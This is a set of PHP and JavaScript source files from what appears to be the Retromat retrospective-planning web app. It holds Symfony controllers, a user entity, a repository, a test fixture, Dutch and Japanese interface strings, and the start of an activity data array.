/**
* @param bool $enabled
* @return User
*/
public function setEnabled(bool $enabled): User
{
$this->enabled = $enabled;
return $this;
}
/**
* @return string|null
*/
public function getSalt(): ?string
{
return $this->salt;
}
/**
* @param string|null $salt
* @return User
*/
public function setSalt(?string $salt): User
{
$this->salt = $salt;
return $this;
}
/**
* @return string
*/
public function getPassword(): string
{
return $this->password;
}
/**
* @param string $password
* @return User
*/
public function setPassword(string $password): User
{
$this->password = $password;
return $this;
}
/**
* @return array
*/
public function getRoles(): array
{
$roles = $this->roles;
$roles[] = 'ROLE_USER';
return \array_unique($roles);
}
/**
* @param array $roles
* @return User
*/
public function setRoles(array $roles): User
{
$this->roles = $roles;
return $this;
}
/**
* @param $role
* @return $this
*/
public function grantRole($role): User
{
if (!\in_array($role, $this->roles)) {
\array_push($this->roles, $role);
}
return $this;
}
public function eraseCredentials()
{
}
public function __call(string $name, array $arguments)
{
}
}
<file_sep><?php
$_lang['HTML_TITLE'] = 'Inspiratie & plannen voor (agile) retrospectives';
$_lang['INDEX_PITCH'] = 'Ben je bezig om je volgende <b>retrospective</b> voor te bereiden? Begin met een random plan, pas het aan, printen het uit en deel de URL. Of browse wat rond voor nieuwe ideeen!<br><br>Is dit je eerste retrospective? <a href="/blog/best-retrospective-for-beginners/">Begin dan hier!</a>';
$_lang['INDEX_PLAN_ID'] = 'ID van het plan:';
$_lang['INDEX_BUTTON_SHOW'] = 'Toon!';
$_lang['INDEX_RANDOM_RETRO'] = 'Nieuw random retrospective plan';
$_lang['INDEX_SEARCH_KEYWORD'] = 'Zoek activities per ID of steekwoord';
$_lang['INDEX_ALL_ACTIVITIES'] = 'Alle activiteiten voor';
$_lang['INDEX_LOADING'] = '... ACTIVITEITEN WORDEN GELADEN ...';
$_lang['INDEX_NAVI_WHAT_IS_RETRO'] = '<a href="http://finding-marbles.com/retr-o-mat/what-is-a-retrospective/">What\'s a retrospective?</a>';
$_lang['INDEX_NAVI_ABOUT'] = '<a href="http://finding-marbles.com/retr-o-mat/about-retr-o-mat/">About Retromat</a>';
$_lang['INDEX_NAVI_PRINT'] = '<a href="/en/print">Print Edition</a>';
$_lang['INDEX_NAVI_ADD_ACTIVITY'] = '<a href="https://docs.google.com/a/finding-marbles.com/spreadsheet/viewform?formkey=<KEY>">Add activity</a>';
if (is_output_format_twig($argv)) {
$_lang['INDEX_ABOUT'] = "{% include 'home/footer/footer.html.twig' %}";
} else {
$_lang['INDEX_ABOUT'] = 'Retromat bevat <span class="js_footer_no_of_activities"></span> activiteiten, waarmee <span class="js_footer_no_of_combinations"></span> combinaties gemaakt kunnen worden(<span class="js_footer_no_of_combinations_formula"></span>) en er worden er steeds meer aan toegevoegd.'; // Weet jij nog een geweldige activiteit?
}
$_lang['INDEX_ABOUT_SUGGEST'] = 'Stel het voor';
$_lang['INDEX_TEAM_TRANSLATOR_TITLE'] = 'Vertaling: ';
$_lang['INDEX_TEAM_TRANSLATOR_NAME'][0] = '<NAME>';
$_lang['INDEX_TEAM_TRANSLATOR_LINK'][0] = 'https://twitter.com/DuchessFounder';
$_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][0] = '/static/images/team/lvdpal.jpg';
$_lang['INDEX_TEAM_TRANSLATOR_TEXT'][0] = <<<EOT
Linda is Java ontwikkelaar en Scrum master bij <a href="http://finalist.nl/">Finalist</a>. Ze is de oprichter van <a href="http://jduchess.org/">Duchess</a>
en een van de organisatoren van <a href="http://www.devoxx4kids.org/">Devoxx4Kids</a> in Nederland. Ze is groot fan van zowel Java als Agile conferenties
en fanatiek Sketchnoter.
Je kunt haar vinden op <a href="https://twitter.com/DuchessFounder">Twitter</a>.
EOT;
$_lang['INDEX_TEAM_CORINNA_TITLE'] = 'Gemaakt door: ';
$_lang['INDEX_TEAM_CORINNA_TEXT'] = $_lang['INDEX_MINI_TEAM'] = <<<EOT
Corinna wenste tijdens haar Scrummasterjaren vaak genoeg dat er iets als Retromat was.
Uiteindelijk bouwde ze het zelf maar, in de hoop dat anderen het ook nuttig zouden vinden.
Heb je nog vragen, suggesties of aanmoedigingen?
Je kunt het haar <a href="mailto:<EMAIL>">mailen</a> of
<a href="https://twitter.com/corinnabaldauf">vertellen op Twitter</a> Als je Retromat leuk vindt, dan vind je misschien <a href="http://finding-marbles.com">Corinna's blog</a> en haar <a href="http://wall-skills.com">samenvattingen op Wall-Skills.com</a> ook leuk.
EOT;
$_lang['INDEX_TEAM_TIMON_TITLE'] = 'Co-developed by ';
$_lang['INDEX_TEAM_TIMON_TEXT'] = <<<EOT
Als ontwikkelaar, product owner, scrum master en <a href="/en/team/timon">agile coach</a>, was Timon al meer dan drie jaar een Retromat gebruikeren fan. Hij had nogal wat ideeën voor nieuwe features. In 2016 begon hij enkele van die ideeën zelf te bouwen. Je kunt hem <a href="mailto:<EMAIL>">mailen</a> of
<a href="https://twitter.com/TimonFiddike">volgen op Twitter</a>.
EOT;
$_lang['PRINT_HEADER'] = '(retromat.org)';
$_lang['ACTIVITY_SOURCE'] = 'Bron:';
$_lang['ACTIVITY_PREV'] = 'Toon een andere activiteit voor deze fase';
$_lang['ACTIVITY_NEXT'] = 'Toon een andere activiteit voor deze fase';
$_lang['ACTIVITY_PHOTO_ADD'] = 'Voeg een foto toe';
$_lang['ACTIVITY_PHOTO_MAIL_SUBJECT'] = 'Photos%20for%20Activity%3A%20ID';
$_lang['ACTIVITY_PHOTO_MAIL_BODY'] = 'Hi%20Corinna%21%0D%0A%0D%0A[%20]%20Photo%20is%20attached%0D%0A[%20]%20Photo%20is%20online%20at%3A%20%0D%0A%0D%0ABest%2C%0D%0AYour%20Name';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTO'] = 'Bekijk foto';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTOS'] = 'Bekijke foto\'s';
$_lang['ACTIVITY_PHOTO_BY'] = 'Foto door ';
$_lang['ERROR_NO_SCRIPT'] = 'Retromat werkt niet zonder JavaScript. Enable alsjeblieft JavaScript in je browser als je de site wilt uitproberen.';
$_lang['ERROR_MISSING_ACTIVITY'] = 'Sorry, er is geen activiteit met ID';
$_lang['POPUP_CLOSE'] = 'Sluiten';
$_lang['POPUP_IDS_BUTTON'] = 'Toon!';
$_lang['POPUP_IDS_INFO']= 'Voorbeeld ID: 3-33-20-13-45';
$_lang['POPUP_SEARCH_BUTTON'] = 'Zoeken';
$_lang['POPUP_SEARCH_INFO']= 'Zoek op titel, samenvatting of beschrijving';
$_lang['POPUP_SEARCH_NO_RESULTS'] = 'Helaas, er werd niets gevonden voor';<file_sep><?php
declare(strict_types=1);
namespace App\Model\Plan;
use App\Model\Plan\Exception\InconsistentInputException;
class TitleIdGenerator
{
/**
* @var array
*/
private $parts = [];
public function __construct(array $titleParts)
{
$this->parts = $titleParts;
}
/**
* @param int $id
* @param string $locale
* @return int
* @throws InconsistentInputException
*/
public function countCombinationsInSequence(int $id, string $locale = 'en'): int
{
$parts = $this->extractTitleParts($locale);
$numberOfCombinations = 1;
foreach ($parts['sequence_of_groups'][$id] as $groupId) {
$numberOfCombinations *= \count($parts['groups_of_terms'][$groupId]);
}
return $numberOfCombinations;
}
/**
* @param string $locale
* @return int
* @throws InconsistentInputException
*/
public function countCombinationsInAllSequences(string $locale = 'en'): int
{
$parts = $this->extractTitleParts($locale);
$numberOfCombinations = 0;
foreach ($parts['sequence_of_groups'] as $id => $value) {
$numberOfCombinations += $this->countCombinationsInSequence($id, $locale);
}
return $numberOfCombinations;
}
/**
* @param string $locale
* @return array
* @throws InconsistentInputException
*/
private function extractTitleParts(string $locale): array
{
if (\array_key_exists($locale, $this->parts)) {
return $this->parts[$locale];
} else {
throw new InconsistentInputException('Locale not found in parts: '.$locale);
}
}
}
<file_sep><?php
namespace App\Controller;
use App\Model\Plan\DescriptionRenderer;
use App\Model\Plan\Exception\InconsistentInputException;
use App\Model\Plan\TitleChooser;
use App\Model\Plan\TitleIdGenerator;
use App\Model\Sitemap\PlanIdGenerator;
use App\Repository\ActivityRepository;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
#[Route('/{_locale}/team')]
class TeamSerpController extends AbstractController
{
private array $planIds = [];
private PlanIdGenerator $planIdGenerator;
private TitleChooser $titleChooser;
private DescriptionRenderer $descriptionRenderer;
private ActivityRepository $activityRepository;
private TitleIdGenerator $titleIdGenerator;
public function __construct(
PlanIdGenerator $planIdGenerator,
TitleChooser $titleChooser,
DescriptionRenderer $descriptionRenderer,
ActivityRepository $activityRepository,
TitleIdGenerator $titleIdGenerator
) {
$this->planIdGenerator = $planIdGenerator;
$this->titleChooser = $titleChooser;
$this->descriptionRenderer = $descriptionRenderer;
$this->activityRepository = $activityRepository;
$this->titleIdGenerator = $titleIdGenerator;
}
/**
* @param Request $request
* @return Response
* @throws InconsistentInputException
*/
#[Route('/team/serp/preview', name: 'team_serp_preview')]
public function preview(Request $request): Response
{
$this->denyAccessUnlessGranted('ROLE_SERP_PREVIEW');
$this->planIdGenerator->generate([$this, 'pushPlanId'], (int)$request->get('max'), (int)$request->get('skip'));
$totalCombinations = $this->titleIdGenerator->countCombinationsInAllSequences(
$request->getLocale()
);
return $this->render('team/serp/preview.html.twig', [
'planIds' => $this->planIds,
'titleChooser' => $this->titleChooser,
'descriptionRenderer' => $this->descriptionRenderer,
'totalCombinations' => $totalCombinations,
'activityRepository' => $this->activityRepository,
]);
}
/**
* @param string $id
*/
public function pushPlanId(string $id): void
{
$this->planIds[] = $id;
}
}
<file_sep><?php
$_lang['HTML_TITLE'] = 'Inspiration & plans for (agile) retrospectives';
$_lang['INDEX_PITCH'] = 'アジャイル<b>レトロスペクティブ</b>の計画はありますか? ランダムに生成されたプランから始めて、チームの状況に合わせて変更し、印刷またはURLを共有しましょう。 あるいは色々見て回って新しいアイデアを探してください!<br><br>初めてのレトロスペクティブの場合は、<a href="/blog/best-retrospective-for-beginners/">ここから始めましょう!</a><br><br><b>リモート</b>でレトロスペクティブを行うのが初めての場合は、<a href="/blog/distributed-retrospectives-remote/">この記事が役立つかもしれません。</a>';
$_lang['INDEX_PLAN_ID'] = 'プランIDの組み合わせ:';
$_lang['INDEX_BUTTON_SHOW'] = '表示!';
$_lang['INDEX_RANDOM_RETRO'] = 'ランダムなプランを生成';
$_lang['INDEX_SEARCH_KEYWORD'] = 'IDまたはキーワードでアクティビティを検索';
$_lang['INDEX_ALL_ACTIVITIES'] = 'すべてのアクティビティ: フェーズ';
$_lang['INDEX_LOADING'] = '... アクティビティを読み込んでいます ...';
$_lang['INDEX_NAVI_WHAT_IS_RETRO'] = '<a href="http://finding-marbles.com/retr-o-mat/what-is-a-retrospective/">レトロスペクティブとは?</a>';
$_lang['INDEX_NAVI_ABOUT'] = '<a href="http://finding-marbles.com/retr-o-mat/about-retr-o-mat/">Retromatについて</a>';
$_lang['INDEX_NAVI_PRINT'] = '<a href="/en/print">印刷版</a>';
$_lang['INDEX_NAVI_ADD_ACTIVITY'] = '<a href="https://docs.google.com/a/finding-marbles.com/spreadsheet/viewform?formkey=<KEY>">アクティビティを追加</a>';
$_lang['INDEX_NAVI_WHAT_IS_RETRO'] = 'Put Japanese: <a href="http://finding-marbles.com/retr-o-mat/what-is-a-retrospective/">What\'s a retrospective?</a>';
$_lang['INDEX_NAVI_ABOUT'] = 'Put Japanese: <a href="http://finding-marbles.com/retr-o-mat/about-retr-o-mat/">About Retromat</a>';
$_lang['INDEX_NAVI_PRINT'] = 'Put Japanese: <a href="/en/print">Print Edition</a>';
$_lang['INDEX_NAVI_ADD_ACTIVITY'] = 'Put Japanese: <a href="https://docs.google.com/a/finding-marbles.com/spreadsheet/viewform?formkey=<KEY>">Add activity</a>';
if (is_output_format_twig($argv)) {
$_lang['INDEX_ABOUT'] = "{% include 'home/footer/footer.html.twig' %}";
} else {
$_lang['INDEX_ABOUT'] = 'Retromatは現在、<span class="js_footer_no_of_activities"></span>のアクティビティがあり、<span class="js_footer_no_of_combinations"></span>通り(<span class="js_footer_no_of_combinations_formula"></span>)の組み合わせがあります。アクティビティは定期的に追加されます。'; // Do you know a great activity?
}
$_lang['INDEX_ABOUT_SUGGEST'] = '提案する';
$_lang['INDEX_TEAM_TRANSLATOR_TITLE'] = '翻訳: ';
$_lang['INDEX_TEAM_TRANSLATOR_NAME'][0] = '武田 智博';
$_lang['INDEX_TEAM_TRANSLATOR_LINK'][0] = 'https://scrum-cjgg.com/';
$_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][0] = '/static/images/team/tomohiro_takeda.jpg';
$_lang['INDEX_TEAM_TRANSLATOR_TEXT'][0] = <<<EOT
ソフトウェア開発で日夜スクラムを実践し、よりよい価値を世の中に届けるため、スクラムマスター、プロダクトオーナーを育成しています。 Retromatでよりよい振り返りにつなげられたなら幸いです。
I practice Scrum in software development everyday and coach Scrum Masters and Product Owners to deliver true user value to the real world. I am glad that Retromat can help you practice better retrospective. Thank you.
EOT;
$_lang['INDEX_TEAM_CORINNA_TITLE'] = 'Created by ';
$_lang['INDEX_TEAM_CORINNA_TEXT'] = $_lang['INDEX_MINI_TEAM'] = <<<EOT
Corinna自身、スクラムマスターをやっていた頃にRetromatのようなものを欲していました。
最終的には、「他の人の役に立つ」と思い、彼女自身が作り出しました。
ご質問、ご提案、励ましの言葉などがありましたら、<a href="mailto:<EMAIL>">eメール</a>、または<a href="https://twitter.com/corinnabaldauf">Twitter</a>へお願いします。
Retromatを気に入った方は、<a href="http://finding-marbles.com">Corinnaのブログ</a>や<a href="http://wall-skills.com">Wall-Skills.comのまとめ</a>もぜひご覧ください。
EOT;
$_lang['INDEX_TEAM_TIMON_TITLE'] = 'Co-developed by ';
$_lang['INDEX_TEAM_TIMON_TEXT'] = <<<EOT
Timonは<a href="/en/team/timon">スクラムトレーナー</a>です。インテグラルコーチ、<a href="/en/team/timon">アジャイルコーチ</a>として、エグゼクティブ、マネージャー、プロダクトオーナー、スクラムマスターを指導しています。2013年からRetromatを使用しており、2016年からは新機能の構築にも携わっています。<a href="mailto:<EMAIL>">eメール</a>、または<a href="https://twitter.com/TimonFiddike">Twitter</a>へどうぞ。Photo © Ina Abraham.
EOT;
$_lang['PRINT_HEADER'] = '(retromat.org)';
$_lang['ACTIVITY_SOURCE'] = '出典:';
$_lang['ACTIVITY_PREV'] = 'このフェーズの他のアクティビティを表示';
$_lang['ACTIVITY_NEXT'] = 'このフェーズの他のアクティビティを表示';
$_lang['ACTIVITY_PHOTO_ADD'] = '写真を追加';
$_lang['ACTIVITY_PHOTO_MAIL_SUBJECT'] = 'Photos%20for%20Activity%3A%20ID';
$_lang['ACTIVITY_PHOTO_MAIL_BODY'] = 'Hi%20Corinna%21%0D%0A%0D%0A[%20]%20Photo%20is%20attached%0D%0A[%20]%20Photo%20is%20online%20at%3A%20%0D%0A%0D%0ABest%2C%0D%0AYour%20Name';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTO'] = '写真を表示';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTOS'] = '写真を表示';
$_lang['ACTIVITY_PHOTO_BY'] = 'Photo by ';
$_lang['ERROR_NO_SCRIPT'] = 'RetromatはJavaScriptを使用しており、ご利用いただくためにはJavaScriptを有効にしていただく必要がございます。';
$_lang['ERROR_MISSING_ACTIVITY'] = '指定のアクティビティは見つかりませんでした。ID';
$_lang['POPUP_CLOSE'] = '閉じる';
$_lang['POPUP_IDS_BUTTON'] = '表示!';
$_lang['POPUP_IDS_INFO']= 'IDの組み合わせ例: 3-33-20-13-45';
$_lang['POPUP_SEARCH_BUTTON'] = '検索する';
$_lang['POPUP_SEARCH_INFO']= 'タイトル、概要、説明で検索';
$_lang['POPUP_SEARCH_NO_RESULTS'] = '見つかりませんでした。';
<file_sep><?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\Routing\Annotation\Route;
#[Route('{_locale}/team')]
class TeamDashboardController extends AbstractController
{
#[Route('/dashboard', name: 'team_dashboard', methods: ['GET'])]
public function dashboardAction()
{
return $this->render('team/dashboard/dashboard.html.twig');
}
}
<file_sep><?php
namespace App\Repository;
use App\Entity\Activity;
use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
use Doctrine\ORM\Query\Expr\Join;
use Doctrine\Persistence\ManagerRegistry;
/**
* @method Activity|null find($id, $lockMode = null, $lockVersion = null)
* @method Activity|null findOneBy(array $criteria, array $orderBy = null)
* @method Activity[] findAll()
* @method Activity[] findBy(array $criteria, array $orderBy = null, $limit = null, $offset = null)
*/
class ActivityRepository extends ServiceEntityRepository
{
/**
* @param ManagerRegistry $registry
*/
public function __construct(ManagerRegistry $registry)
{
parent::__construct($registry, Activity::class);
}
/**
* @param array $orderedIds
* @return array
*/
public function findOrdered(array $orderedIds): array
{
$allActivities = $this->findAllOrdered();
$orderedActivities = [];
foreach ($orderedIds as $id) {
if (\array_key_exists($id - 1, $allActivities)) {
$orderedActivities[] = $allActivities[$id - 1];
}
}
return $orderedActivities;
}
/**
* @return array
*/
public function findAllOrdered(): array
{
return $this->createQueryBuilder('a')
->select('a', 'a2t')
->leftJoin('a.translations', 'a2t', Join::WITH, 'a2t.translatable = a.id')
->orderBy('a.retromatId', 'ASC')
->getQuery()
->enableResultCache(true, 86400)
->getResult();
}
/**
* @param string $locale
* @return array
*/
public function findAllActivitiesByPhases(string $locale = 'en'): array
{
$activitiesByPhase = [];
$activities = $this->findAllOrdered();
foreach ($activities as $activity) {
/** @var $activity Activity */
if (!$activity->translate($locale, false)->isEmpty()) {
$activitiesByPhase[$activity->getPhase()][] = $activity->getRetromatId();
} else {
break;
}
}
return $activitiesByPhase;
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Controller\DataFixtures;
use App\Entity\User;
use App\Model\User\UserManager;
use Doctrine\Bundle\FixturesBundle\Fixture;
use Doctrine\Persistence\ObjectManager;
class LoadUsers extends Fixture
{
public const ROLE = 'ROLE_ADMIN';
public const USERNAME = 'admin';
public const PASSWORD = '<PASSWORD>';
public const EMAIL_ADDRESS = '<EMAIL>';
private UserManager $userManager;
/**
* @param UserManager $userManager
*/
public function __construct(UserManager $userManager)
{
$this->userManager = $userManager;
}
/**
* @param ObjectManager $manager
* @return void
*/
public function load(ObjectManager $manager): void
{
$adminUser = new User();
$adminUser->setUsername(self::USERNAME);
$adminUser->setPassword(self::PASSWORD);
$adminUser->setEmail(self::EMAIL_ADDRESS);
$adminUser->setEnabled(true);
$adminUser->grantRole(self::ROLE);
$this->setReference(self::USERNAME, $adminUser);
$this->userManager->persist($adminUser);
}
}
<file_sep><?php
namespace App\Controller;
use App\Entity\Activity;
use App\Form\ActivityTranslatableFieldsType;
use App\Form\ActivityType;
use App\Model\Activity\ActivityByPhase;
use App\Model\Activity\Expander\ActivityExpander;
use App\Model\Activity\Localizer\ActivityLocalizer;
use App\Model\Twig\ColorVariation;
use App\Repository\ActivityRepository;
use Doctrine\ORM\EntityManagerInterface;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\Form\FormInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Contracts\Cache\CacheInterface;
#[Route('{_locale}/team/activity')]
class TeamActivityController extends AbstractController
{
private ActivityExpander $activityExpander;
private ColorVariation $colorVariation;
private ActivityByPhase $activityByPhase;
private CacheInterface $doctrineResultCachePool;
private EntityManagerInterface $entityManager;
private ActivityLocalizer $activityLocalizer;
private ActivityRepository $activityRepository;
public function __construct(
ActivityExpander $activityExpander,
ColorVariation $colorVariation,
ActivityByPhase $activityByPhase,
CacheInterface $doctrineResultCachePool,
EntityManagerInterface $entityManager,
ActivityLocalizer $activityLocalizer,
ActivityRepository $activityRepository
) {
$this->activityExpander = $activityExpander;
$this->colorVariation = $colorVariation;
$this->activityByPhase = $activityByPhase;
$this->doctrineResultCachePool = $doctrineResultCachePool;
$this->entityManager = $entityManager;
$this->activityLocalizer = $activityLocalizer;
$this->activityRepository = $activityRepository;
}
#[Route('/', name: 'team_activity_index', methods: ['GET'])]
public function index(Request $request): Response
{
return $this->render('team/activity/index.html.twig', [
'activities' => $this->activityLocalizer->localize(
$this->activityRepository->findAllOrdered(),
$request->getLocale()
),
]);
}
#[Route('/new', name: 'team_activity_new', methods: ['GET', 'POST'])]
public function new(Request $request): Response
{
$this->denyAccessUnlessGranted('ROLE_TRANSLATOR_'.\strtoupper($request->getLocale()));
$activity = $this->createActivity($request->getLocale());
$form = $this->createActivityForm($request->getLocale(), $activity);
$form->handleRequest($request);
if (empty($activity->getPhase())) {
$activity->setPhase(0);
}
if ($form->isSubmitted() && $form->isValid()) {
$activity->mergeNewTranslations();
$this->entityManager->persist($activity);
$this->entityManager->flush();
$this->doctrineResultCachePool->clear();
$this->addFlash('success', 'Successfully saved new activity record.');
return $this->redirectToRoute('team_activity_index', [], Response::HTTP_SEE_OTHER);
}
return $this->renderForm('team/activity/new.html.twig', [
'activity' => $activity,
'form' => $form,
]);
}
#[Route('/{id}', name: 'team_activity_show', methods: ['GET'])]
public function show(Request $request, Activity $activity): Response
{
$this->denyAccessUnlessGranted('ROLE_TRANSLATOR_'.\strtoupper($request->getLocale()));
$this->activityExpander->expandSource($activity);
return $this->render('team/activity/show.html.twig', [
'activity' => $activity,
]);
}
#[Route('/{id}/edit', name: 'team_activity_edit', methods: ['GET', 'POST'])]
public function edit(Request $request, Activity $activity): Response
{
$form = $this->createActivityForm($request->getLocale(), $activity);
$form->handleRequest($request);
if ($form->isSubmitted() && $form->isValid()) {
$this->entityManager->flush();
$this->doctrineResultCachePool->clear();
$this->addFlash('success', 'Successfully updated activity record.');
return $this->redirectToRoute('team_activity_index', [], Response::HTTP_SEE_OTHER);
}
return $this->renderForm('team/activity/edit.html.twig', [
'activity' => $activity,
'form' => $form,
]);
}
#[Route('/{id}', name: 'team_activity_delete', methods: ['POST'])]
public function delete(Request $request, Activity $activity): Response
{
if ($this->isCsrfTokenValid('delete'.$activity->getId(), $request->request->get('_token'))) {
$this->entityManager->remove($activity);
$this->entityManager->flush();
$this->addFlash('success', 'Successfully deleted activity record.');
}
return $this->redirectToRoute('team_activity_index', [], Response::HTTP_SEE_OTHER);
}
/**
* @param string $locale
* @return Activity
*/
private function createActivity(string $locale): Activity
{
$localizedActivities = $this->activityLocalizer->localize(
$this->activityRepository->findAllOrdered(),
$locale
);
if ('en' === $locale) {
$activity = new Activity();
$activity->setRetromatId(\count($localizedActivities) + 1);
} else {
$activity = $this->activityRepository->findOneBy(['retromatId' => \count($localizedActivities) + 1]);
$activity->setDefaultLocale($locale);
$activity->setName($activity->translate('en')->getName());
$activity->setSummary($activity->translate('en')->getSummary());
$activity->setDesc($activity->translate('en')->getDesc());
}
return $activity;
}
/**
* @param string $locale
* @param Activity|null $activity
* @param array $options
* @return FormInterface
* @throws \Psr\Container\ContainerExceptionInterface
* @throws \Psr\Container\NotFoundExceptionInterface
*/
private function createActivityForm(string $locale, Activity $activity = null, array $options = []): FormInterface
{
if ('en' === $locale) {
$type = ActivityType::class;
} else {
$type = ActivityTranslatableFieldsType::class;
}
return $this->container->get('form.factory')->create($type, $activity, $options);
}
}
<file_sep><?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
class RobotsController extends AbstractController
{
/**
* @Route("/robots.txt", host="retromat.org")
*/
public function robotsAllow(): Response
{
$response = new Response(
<<<EOT
User-agent: *
Disallow:
Crawl-delay: 1
Sitemap: https://retromat.org/sitemap.xml
EOT
);
$response->headers->set('content-type', 'text/plain; charset=UTF-8');
return $response;
}
/**
* @Route("/robots.txt")
*/
public function robotsDisallow(): Response
{
$response = new Response(
<<<EOT
User-agent: *
Disallow: /
EOT
);
$response->headers->set('content-type', 'text/plain; charset=UTF-8');
return $response;
}
}
<file_sep><?php
namespace App\Controller;
use App\Entity\User;
use App\Form\TeamUserType;
use App\Form\UserPasswordType;
use App\Model\User\UserManager;
use App\Repository\UserRepository;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
#[Route('{_locale}/team/user')]
class TeamUserController extends AbstractController
{
private UserManager $userManager;
private UserRepository $userRepository;
/**
* @param UserManager $userManager
*/
public function __construct(UserManager $userManager, UserRepository $userRepository)
{
$this->userManager = $userManager;
$this->userRepository = $userRepository;
}
/**
* @param Request $request
* @return Response
* @throws \Exception
*/
#[Route('/password', name: 'team_user_password', methods: ['POST', 'GET'])]
public function password(Request $request): Response
{
$user = $this->getUser();
$form = $this->createForm(UserPasswordType::class, $user);
$form->handleRequest($request);
if ($form->isSubmitted() && $form->isValid()) {
try {
$this->userManager->persist($user);
$this->addFlash('success', 'Successfully updated password.');
} catch (\Exception $exception) {
throw $exception;
}
}
return $this->render('team/user/password.html.twig', [
'user' => $user,
'form' => $form->createView(),
]);
}
/**
* @return Response
*/
#[Route('/', name: 'team_user_index', methods: ['GET'])]
public function index(): Response
{
$this->denyAccessUnlessGranted('ROLE_ADMIN');
return $this->render(
'team/user/index.html.twig',
[
'users' => $this->userRepository->findAll()
]
);
}
/**
* @param Request $request
* @return Response
* @throws \Exception
*/
#[Route('/new', name: 'team_user_new', methods: ['GET', 'POST'])]
public function new(Request $request): Response
{
$this->denyAccessUnlessGranted('ROLE_ADMIN');
$user = $this->userManager->create();
$form = $this->createForm(TeamUserType::class, $user);
$form->handleRequest($request);
if ($form->isSubmitted() && $form->isValid()) {
$this->userManager->persist($user);
$this->addFlash('success', \sprintf('Successfully added new user with password "%s".', $this->userManager->getPlainPassword()));
return $this->redirectToRoute('team_user_index', [], Response::HTTP_SEE_OTHER);
}
return $this->renderForm('team/user/new.html.twig', [
'user' => $user,
'form' => $form,
]);
}
/**
* @param User $user
* @return Response
*/
#[Route('/{id}', name: 'team_user_show', methods: ['GET'])]
public function show(User $user): Response
{
$this->denyAccessUnlessGranted('ROLE_ADMIN');
return $this->render('team/user/show.html.twig', [
'user' => $user,
]);
}
/**
* @param Request $request
* @param User $user
* @return Response
* @throws \Exception
*/
#[Route('/{id}/edit', name: 'team_user_edit', methods: ['GET', 'POST'])]
public function edit(Request $request, User $user): Response
{
$this->denyAccessUnlessGranted('ROLE_ADMIN');
$form = $this->createForm(TeamUserType::class, $user);
$form->handleRequest($request);
if ($form->isSubmitted() && $form->isValid()) {
$this->userManager->persist($user);
$this->addFlash('success', \sprintf('Successfully updated user "%s".', $user->getUsername()));
return $this->redirectToRoute('team_user_index', [], Response::HTTP_SEE_OTHER);
}
return $this->renderForm('team/user/edit.html.twig', [
'user' => $user,
'form' => $form,
]);
}
/**
* @param Request $request
* @param User $user
* @return Response
*/
#[Route('/{id}', name: 'team_user_delete', methods: ['POST'])]
public function delete(Request $request, User $user): Response
{
$this->denyAccessUnlessGranted('ROLE_ADMIN');
if ($this->isCsrfTokenValid('delete'.$user->getId(), $request->request->get('_token'))) {
$this->userManager->drop($user);
}
return $this->redirectToRoute('team_user_index', [], Response::HTTP_SEE_OTHER);
}
}
<file_sep>// BIG ARRAY OF ALL ACTIVITIES
// Mandatory: id, phase, name, summary, desc
// Example:
//all_activities[i] = {
// id: i+1,
// phase: int in {1-5},
// name: "",
// summary: "",
// desc: "Multiple \
// Lines",
// durationDetail: "",
// duration: "Short | Medium | Long | Flexible",
// stage: "All" or one or more of "Forming, Norming, Storming, Performing, Stagnating, Adjourning",
// source: "",
// more: "", // a link
// suitable: "",
//};
// Values for durationDetail: "<minMinutes>-<maxMinutes> perPerson"
// Values for suitable: "iteration, realease, project, introverts, max10People, rootCause, smoothSailing, immature, largeGroup"
all_activities = [];
all_activities[0] = {
phase: 0,
name: "ESVP",
summary: "How do participants feel at the retro: Explorer, Shopper, Vacationer, or Prisoner?",
desc: "Prepare a flipchart with areas for E, S, V, and P. Explain the concept: <br>\
<ul>\
<li>Explorer: Eager to dive in and research what did and didn't work and how to improve.</li>\
<li>Shopper: Positive attitude. Happy if one good things comes out.</li>\
<li>Vacationer: Reluctant to actively take part but the retro beats the regular work.</li>\
<li>Prisoner: Only attend because they (feel they) must.</li>\
</ul>\
Take a poll (anonymously on slips of paper). Count out the answers and keep track on the flipchart \
for all to see. If trust is low, deliberately destroy the votes afterwards to ensure privacy. Ask \
what people make of the data. If there's a majority of Vacationers or Prisoners consider using the \
retro to discuss this finding.",
source: source_agileRetrospectives,
durationDetail: "5-10 numberPeople",
duration: "Short",
stage: "Forming, Storming",
suitable: "iteration, release, project, immature"
};
all_activities[1] = {
phase: 0,
name: "<NAME>",
summary: "Participants mark their 'weather' (mood) on a flipchart",
desc: "Prepare a flipchart with a drawing of storm, rain, clouds and sunshine.\
Each participant marks their mood on the sheet.",
duration: "Short",
stage: "All",
source: source_agileRetrospectives,
};
all_activities[2] = {
phase: 0,
name: "<NAME> - Quick Question", // TODO This can be expanded to at least 10 different variants - how?
summary: "Ask one question that each participant answers in turn",
desc: "In round-robin each participant answers the same question (unless they say 'I pass'). \
Sample questions: <br>\
<ul>\
<li>In one word - What do you need from this retrospective?</li> \
Address concerns, e.g. by writing it down and setting it - physically and mentally - aside</li> \
<li>In this retrospective - If you were a car, what kind would it be?</li> \
<li>What's something that caused problems last sprint?</li> \
<li>If you could change one thing about the last sprint what would it be?</li> \
</ul><br>\
Avoid evaluating comments such as 'Great'. 'Thanks' is okay.",
duration: "Short",
stage: "All",
source: source_agileRetrospectives
};
all_activities[3] = {
phase: 1,
name: "Timeline",
